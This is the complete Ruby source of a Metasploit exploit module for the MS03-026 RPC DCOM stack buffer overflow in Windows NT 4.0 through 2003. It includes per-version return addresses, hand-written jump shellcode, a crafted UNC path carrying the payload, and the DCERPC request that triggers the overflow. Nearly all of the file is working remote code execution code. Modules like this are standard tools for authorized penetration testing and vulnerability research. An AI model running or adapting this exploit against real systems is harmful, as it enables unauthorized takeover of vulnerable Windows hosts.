1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 |
## # $Id: ms03_026_dcom.rb 11545 2011-01-11 17:56:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft RPC DCOM Interface Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the RPCSS service, this vulnerability was originally found by the Last Stage of Delirium research group and has been widely exploited ever since. This module can exploit the English versions of Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :) }, 'Author' => [ 'hdm', 'spoonm', 'cazz' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 11545 $', 'References' => [ [ 'CVE', '2003-0352'], [ 'OSVDB', '2100' ], [ 'MSB', 'MS03-026' ], [ 'BID', '8205' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload'=> { 'Space'=> 880, 'MinNops'=> 300, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500 }, 'Targets'=> [ # Target 0: Universal [ 'Windows NT SP3-6a/2000/XP/2003 Universal', { 'Platform' => 'win', 'Rets' => [ 0x77f33723, # Windows NT 4.0 SP6a (esp) 0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0 0x010016c6, # Windows 2000 Universal (ebx) 0x01001c59, # Windows XP SP0/SP1 (pop pop ret) 0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!) 0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll 0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll ], }, ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jul 16 2003')) end def autofilter # Common vulnerability scanning tools report port 445/139 # due to how they test for the vulnerability. Remap this # back to 135 for automated exploitation rport = datastore['RPORT'].to_i if ( rport == 139 or rport == 445 ) datastore['RPORT'] = 135 end true end def exploit connect print_status("Trying target #{target.name}...") handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") # Carefully create the combination of addresses and code for cross-os exploitation xpseh = rand_text_alphanumeric(360, payload_badchars) # Jump to [esp-4] - (distance to shellcode) jmpsc = "\x8b\x44\x24\xfc"+ # mov eax,[esp-0x4] "\x05\xe0\xfa\xff\xff"+ # add eax,0xfffffae0 (sub eax, 1312) Rex::Arch::X86.jmp_reg('eax') # jmp eax # Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield! jmpsc2k3 = "\x8b\x45\x30" + # mov eax,[ebp+0x30] "\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244) Rex::Arch::X86.jmp_reg('eax') # jmp eax # Windows 2003 added by spoonm xpseh[ 246 - jmpsc2k3.length, jmpsc2k3.length ] = jmpsc2k3 xpseh[ 246, 2 ] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}") xpseh[ 250, 4 ] = [ target['Rets'][4] ].pack('V') xpseh[ 306, 2 ] = Rex::Arch::X86.jmp_short('$+8') xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V') xpseh[ 314, jmpsc.length ] = jmpsc # # NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both # NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4 # HD wrote NT 4.0 SP6a, and it's off in a different place # # Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this: # (hopefully I'm accurate, this is from my memory...) # # |---pop pop ret----------eax---| # V || V # [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ] # 4 4 45 5 # | ^ # --------------------------------------------------| # The jmpback's all are 5 byte backwards jumps into our shellcode that # sits just below these overwrites... # nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") + rand_text(2, payload_badchars) nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V') nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V') ntshiz = nt4sp3jmp + [ target['Rets'][6] ].pack('V') + [ target['Rets'][5] ].pack('V') + nt4sp5jmpback + nt4sp3jmpback # Pad to the magic value of 118 bytes ntshiz += rand_text(118 - ntshiz.length, payload_badchars) # Create the evil UNC path used in the overflow uncpath = Rex::Text.to_unicode("\\\\") + make_nops(32) + # When attacking NT 4.0, jump over 2000/XP return Rex::Arch::X86.jmp_short(16) + Rex::Arch::X86.jmp_short(25) + [ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx) [ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi) [ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0 make_nops(88) + Rex::Arch::X86.jmp_short(4) + rand_text(4, payload_badchars) + make_nops(8) + Rex::Arch::X86.jmp_short(4) + Rex::Arch::X86.jmp_short(4) + make_nops(4) + Rex::Arch::X86.jmp_short(4) + rand_text(4, payload_badchars) + payload.encoded + ntshiz + xpseh + Rex::Text.to_unicode("\\\x00") # This is the rpc cruft needed to trigger the vuln API stubdata = NDR.short(5) + NDR.short(1) + NDR.long(0) + NDR.long(0) + rand_text(16) + NDR.long(0) + NDR.long(0) + NDR.long(0) + NDR.long(0) + NDR.long(0) + NDR.long(rand(0xFFFFFFFF)) + NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) + NDR.long(0) + NDR.long(rand(0xFFFFFFFF)) + NDR.long(rand(0xFFFFFFFF)) + NDR.long(1) + NDR.long(rand(0xFFFFFFFF)) + NDR.long(1) + NDR.long(rand(0xFFFFFFFF)) + NDR.long(rand(0xFFFFFFFF)) + NDR.long(rand(0xFFFFFFFF)) + NDR.long(rand(0xFFFFFFFF)) + NDR.long(1) + NDR.long(1) + NDR.long(rand(0xFFFFFFFF)) print_status('Sending exploit ...') begin dcerpc_call(0, stubdata, nil, false) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end |